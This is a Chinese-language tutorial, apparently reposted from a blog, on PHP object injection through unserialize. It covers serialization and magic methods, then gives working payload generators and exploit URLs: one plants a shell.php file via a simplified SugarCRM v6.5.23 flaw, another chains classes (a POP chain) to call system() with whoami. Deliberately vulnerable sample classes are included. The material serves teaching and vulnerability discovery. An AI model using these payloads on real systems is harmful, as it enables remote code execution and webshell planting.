2. 程式人生 > >PHP 的物件注入

PHP 的物件注入

阿新 • • 發佈：2018-12-10

在理解物件注入之前要知道的一些東西。

PHP中的序列化

在說序列化之前，我記得以前有過這樣一個疑問：為什麼需要序列化？ 後來我在網上搜到了這樣一個回答很好的解決了我的疑問。

“你有一個應用程式，需要傳一些資料給其它應用程式，但資料儲存在你的程序的堆疊中，其它程序無法訪問你的應用程式程序的堆疊，要想把你的程式的資料給其它程式使用，必須將資料以某種形式傳給其它程序，這個‘某種形式’就是序列化 。”

寫了一小段程式碼來檢視PHP不同型別變數序列化後的樣子。

<?php
    $v1 = 123;
    $v2 = 1.23;
    $v3 = '123';
    $v4 = true;
    $v5 = array();
    $v6 = array('key'=>1,2,3);
    class base{
    }
    class base2{
        public $v = '123';
    }
    $v7 = new base;
    $v8 = new base2;
    $i = 1;
    while($i < 9){
        echo serialize(${'v'.$i})."\n";		//PHP使用serialize函式進行序列化
        $i ++;
    }
?>

輸出:

i:123;         		//整數型別:值;
d:1.23;        		//雙精度型別
s:3:"123";     		//字串型別:字串長度:字串的值;
b:1;           		//布林型別，0或1
a:0:{}         		//陣列型別:元素個數:{}
a:3:{s:3:"key";i:1;i:0;i:2;i:1;i:3;}
O:4:"base":0:{}		//物件型別:類名長度:類名:屬性個數:{}
O:5:"base2":1:{s:1:"v";s:3:"123";}

可以看到變數序列化後會變成帶有資料型別和值的字串。其中陣列的花括號里根據元素的鍵名和值(序列化後)依次排列，類物件的花括號裡則是根據成員變數名和值(序列化後)依次排列。物件要留意的是隻會序列化成員變數，而不會序列化其中的方法，執行序列化的程式碼還必須包含該類的定義。

PHP中的反序列化

反序列化就是將變數序列化後形成的字串還原成原來的資料。可以寫程式碼來看一下這個過程。

<?php
	$v1 = unserialize('s:3:"123";');	//PHP使用unserialize函式進行反序列化
	class base2{
        public $v;
    }
	$v2 = unserialize('O:5:"base2":1:{s:1:"v";s:3:"123";}');
	var_dump($v1);
	var_dump($v2);
?>

輸出:

string(3) "123"
object(base2)#1 (1) {
  ["v"]=>
  string(3) "123"
}

可以看到反序列化後會得到原來的資料。要留意的是物件的反序列化程式碼中同樣需要含有該類的定義。

PHP中的魔術方法

PHP的類含有一些實現特定功能的魔術方法，在物件注入的時候會用上這些方法。可以先來看一下這些方法的特點。

__construct() 在類例項化成物件的時候自動呼叫

__destruct() 在物件不再被使用時(將所有該物件的引用設為null)或者程式退出時自動呼叫

__sleep() 在物件被序列化前自動呼叫，該函式需要返回以類成員變數名作為元素的陣列(該數組裡的元素會影響類成員變數是否被序列化。只有出現在該陣列元素裡的類成員變數才會被序列化)

__wakeup() 在反序列化後自動呼叫

__toString() 在物件被當作字串使用時自動呼叫

__invoke() 在物件被當作函式使用時自動呼叫

這裡只是列了其中幾個，PHP的類還包含一些用來實現屬性和方法過載的魔術方法等等。 寫程式碼來觀察這些魔術方法被自動呼叫的過程。

<?php
	class Base{
		public $v1 = 123;
		public $v2 = '123';
		public function __construct(){
			echo "__construct is running.\n";
		}
		public function __destruct(){
			echo "__destruct is running.\n";
		}
		
		public function __sleep(){
			echo "__sleep is running.\n";
			return array('v1');		//這裡只返回了v1，所以v2不會被序列化
		}
		public function __wakeup(){
			echo "__wakeup is running.\n";
		}
		public function __toString(){
			return "__toString is running.\n";
		}
		public function __invoke(){
			echo "__invoke is running.\n";
		}
	}
	$test = new Base();
	$s_test = serialize($test);
	print $s_test."\n";
	$us_test = unserialize($s_test);
	echo $test;
	$test();
?>

輸出：

__construct is running.
__sleep is running.
O:4:"Base":1:{s:2:"v1";i:123;}
__wakeup is running.
__toString is running.
__invoke is running.
__destruct is running.
__destruct is running.

通過輸出和之前的介紹，可以清楚的知道這些魔術方法在什麼時候會被自動呼叫，這點對下面的物件注入是很重要的。

物件注入

往當前程式裡注入一個定義好的類的物件。再結合類裡的魔術方法中的一些存在安全問題的函式來進行攻擊。這裡可能造成的攻擊是多種多樣的，例如程式碼執行，SQLi等等。該型別漏洞高度依賴於魔術方法的自動觸發特點。

物件注入漏洞出現的兩個前提條件:

  1. unserialize的引數可控。
  2. 程式碼裡有定義一個含有魔術方法的類，並且該方法裡出現一些使用類成員變數作為引數的存在安全問題的函式。

簡化之前SugarCRM v6.5.23物件注入漏洞寫的一個程式碼例子:

<?php 	
	class CacheFile{
		protected $_localStore = array();
		protected $_cacheFileName = 'externalCache.php';
		protected $_cacheChanged = false;
		function __construct(){
			//some code...
		}
		function __destruct(){
			if($this->_cacheChanged)
				file_put_contents($this->_cacheFileName, serialize($this->_localStore));
		}
		function __wakeup(){
			//some code...
		}
	}
	$data = unserialize($_REQUEST['rest_data']);
?>

構造payload的程式碼:

<?php 
	 class CacheFile{
	 	protected $_localStore = '<?php phpinfo();?>';
	 	protected $_cacheFileName = 'shell.php';
	 	protected $_cacheChanged = true;
	 }
	 print urlencode(serialize(new CacheFile()));
?>

利用：

	
http://hack.lo/obi/?rest_data=O%3A9%3A%22CacheFile%22%3A3%3A{s%3A14%3A%22%00*%00_localStore%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3Bs%3A17%3A%22%00*%00_cacheFileName%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A16%3A%22%00*%00_cacheChanged%22%3Bb%3A1%3B}

要留意類成員變數的訪問限制關鍵字。

POP Chain

POP(Property-Oriented Programming)，是Esser在2009年的時候提出的一個物件注入的利用方法。當你找到的魔術方法不可以直接利用，但它有呼叫其它方法或者使用其它的變數時，可以在其它的類中尋找同名的方法或是變數，直到到達一個可以利用的點。這樣的攻擊方法稱為程式碼複用攻擊(將記憶體中的程式碼片段一點一點的組合起來，並最終構造成一個可以利用的payload)。這個一步一步把程式碼連起來的攻擊過程在PHP應用裡被稱為構造POP鏈對物件注入漏洞進行利用。 漏洞程式碼例子:

<?php 
	class Systeminfo{
		public $cmd = 'systeminfo';
		public function getinfo(){
			system($this->cmd);
		}
		public function show(){
			$this->getinfo();
		}
	}
	class Books{
		public $bookname = 'This is bookname!';
		public function show(){
			echo $this->bookname;
		}
	}
	class Display{
		public $handle;
		public function __construct(){
			$this->handle = new Books();
		}
		public function __destruct(){
			$this->handle->show();
		}
	}
	$data = unserialize($_REQUEST['data']);
?>

構造payload的程式碼：

<?php
	class Systeminfo{
		public $cmd = 'whoami';
	}
	class Display{
		public $handle;
		function __construct(){
			$this->handle = new Systeminfo;
		}
	}
	print serialize(new Display);
?>

利用：

	
http://hack.lo/obi/pop.php?data=O:7:"Display":1:{s:6:"handle";O:10:"Systeminfo":1:{s:3:"cmd";s:6:"whoami";}}

如何去發現該漏洞

  1. 尋找程式碼中引數可控的unserialize函式。
  2. 尋找類含有的魔術方法，觀察找到的魔術方法的實現看能否被利用。

當找到一個引數可控的unserialize函式時，可以利用get_included_files來檢視當前指令碼包含有哪些檔案，從而在這些檔案裡找有定義的類，再在這些類中找魔術方法。

參考

相關推薦

BTS測試實驗室 --- 注入關 --- PHP物件注入

0x01 挑戰1 提到物件注入，首先就要了解物件的序列化與反序列化，所以物件注入漏洞也有人稱作反序列化漏洞。有關序列化與反序列的內容，在這裡做簡單說明。 序列化的引數型別表示說明 String s:size:value Integer i:value Boo

PHP 的物件注入

在理解物件注入之前要知道的一些東西。 PHP中的序列化 在說序列化之前，我記得以前有過這樣一個疑問：為什麼需要序列化？ 後來我在網上搜到了這樣一個回答很好的解決了我的疑問。 “你有一個應用程式，需要傳一些資料給其它應用程式，但資料儲存在你的程序的堆疊中，其它程序無法訪

PHP字元逃逸導致的物件注入

1.漏洞產生原因： 序列化的字串在經過過濾函式不正確的處理而導致物件注入，目前看到都是因為過濾函式放在了serialize函式之後，要是放在序列化之前應該就不會產生這個問題 ?php function filter($string){ $a = str_replace('x','zz',$st

PHP反序列化中過濾函式使用不當導致的物件注入

1.漏洞產生的原因 ####  正常的反序列化語句是這樣的 $a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"abcdef";}'; 但是如果寫成這樣 $b='a:2:{s:8:"username";s:7:"dimpl3s";s:8

spring boot的物件注入

1 需求 現在我們的專案中需要引入一個java類庫，我想要很方便的使用該類庫中的一個類，並且我想要建立這個類的一個單例物件。然後可以很方便的在各個模組中用@AutoWired進行物件注入。 比如一個配置檔案，我在一個地方建立Configuration物件，讀取配置檔案中的配置，然後在各個模組中使用該物件。

php物件轉陣列，陣列轉物件

/** * 陣列 轉 物件 * * @param array $arr 陣列 * @return object */ function array_to_object($arr) { if (gettype($arr) != 'array') { retur

PHP物件遍歷、內建標準類與資料轉物件

一、物件遍歷 物件也可以可以使用foreach語句進行遍歷，有兩點注意： 1，只能遍歷屬性。 2，只能遍歷“看得到”的屬性——程式碼所在範圍可訪問。 　在外面遍歷：  　　 　　可見，此時protected和private屬性都沒有遍歷出來。 如果需要全部遍歷，則改造為： 　　　　

PHP物件的使用，什麼時候可以用中括號[]， 什麼時候可以用箭頭->

    $orderTPLMessage = (object)array( 'touser' => '這裡填open id', 'template_id' => 'oQDOldy7q6CdaYw2e3J2

原來PHP物件比陣列用更少的記憶體

一直以為php的陣列更節省記憶體，從來沒有測試過，今天因為要讀取一個大配置檔案作為pool。做了一次測試； 得出結論是 使用物件儲存資料更好，花費的記憶體是陣列array的1/4。 測試程式碼 class obj { public $name; public $id; pub

PHP依賴注入、控制反轉

要想理解 PHP 依賴注入 和 控制反轉 兩個概念，就必須搞清楚如下的兩個問題： DI —— Dependency Injection 依賴注入 IoC —— Inversion of Control 控制反轉 什麼

PHP 物件基礎知識

初識PHP物件 還記得，剛開始學習 PHP 的時候，學到到方法和物件時有一個很大的疑問，物件與方法相比較那麼麻煩（需要設定屬性，給屬性賦值，例項化類，呼叫）為什麼還要用物件呢？隨著逐步的深入才發現，自己之前的想法是有多可笑，下面給一個簡單的示例。 function get_max($val_

PHP SQL注入漏洞防範

在PHP中採用魔術引號進行過濾，但是PHP5.4之後被取消了，同時在遇到int型注入也不會那麼有效，所以用的最多的還是過濾函式和類（例如discuz,dedecms,phpcms），如果單純的過濾函式寫的不嚴謹，就會出現繞過的情況，最好的解決方法還是預編譯的方式。 GPC/runtime魔術

威脅快報|CVE漏洞—PHPCMS2008 /type.php程式碼注入高危漏洞預警

背景 PHPCMS網站內容管理系統是國內主流CMS系統之一，同時也是一個開源的PHP開發框架。 PHPCMS最早於2008年推出，最新版已出到v9.6.3，但由於穩定、靈活、開源的特性，時至今日，PHPCMS2008版本仍被許多網站所使用。 漏洞簡介 PHPCMS 2008存在的程式碼注入漏洞，導致攻

PHP物件繼承簡介

繼承已為大家所熟知的一個程式設計特性，PHP 的物件模型也使用了繼承。繼承將會影響到類與類，物件與物件之間的關係。 比如，當擴充套件一個類，子類就會繼承父類所有公有的和受保護的方法。除非子類覆蓋了父類的方法，被繼承的方法都會保留其原有功能。 繼承對於功能的設計和抽象是非常有用的，而且對於類似

php物件(object) 與 陣列(array) 的區別以及轉換

php中物件和陣列的區別 物件不僅有屬性，還有方法；,物件可以封裝對這些資料的操作，而陣列是辦不到的。 因此：如果是單純存資料，就用陣列，但如果你要定義對這些資料的操作，更建議使用物件！ 舉例： 如果你想在操作的資料里加個通用的方法，比如返回值是加密的，或者其它等等功能，這時

Joomla物件注入漏洞分析

漏洞簡介 jooomla 1.5 到 3.4.5 的所有版本中存在反序列化物件造成物件注入的漏洞，漏洞利用無須登入，直接在前臺即可執行任意PHP程式碼。Joomla 安全團隊緊急釋出了 Joomla 3.4.6 版本，修復了這個高危 0day 漏洞。   漏洞原理 漏洞存在於反序列化sess

CVE漏洞—PHPCMS2008 /type.php程式碼注入高危漏洞預警

11月4日，阿里雲安全首次捕獲PHPCMS 2008版本的/type.php遠端GetShell 0day利用攻擊，攻擊者可以利用該漏洞遠端植入webshell，導致檔案篡改、資料洩漏、伺服器被遠端控制等一系列嚴重問題。建議受影響使用者儘快升級到最新版本修復。 ——————— PHPCMS網

PHP 依賴注入，從此不再考慮載入順序

說這個話題之前先講一個比較高階的思想--'依賴倒置原則' "依賴倒置是一種軟體設計思想，在傳統軟體中，上層程式碼依賴於下層程式碼，當下層程式碼有所改動時，上層程式碼也要相應進行改動，因此維護成本較高。而依賴倒置原則的思想是，上層不應該依賴下層，應依賴介面。意為上層程式碼定義介面，下層程式碼實現該

Spring筆記-set物件注入與註解

一、set物件注入 一個物件的成員變數中常常含另一個類，這個時候就需要物件注入。 一個set注入的例子： AccountServiceImpl類中成員變數含有AccountDao AccountServiceImpl： package zk;

簡單的 php 防注入、防跨站 函式

/** * 簡單的 php 防注入、防跨站 函式 * @return String */ function fn_safe($str_string) { //直接剔除 $_arr_dangerChars = array( "|", ";", "$"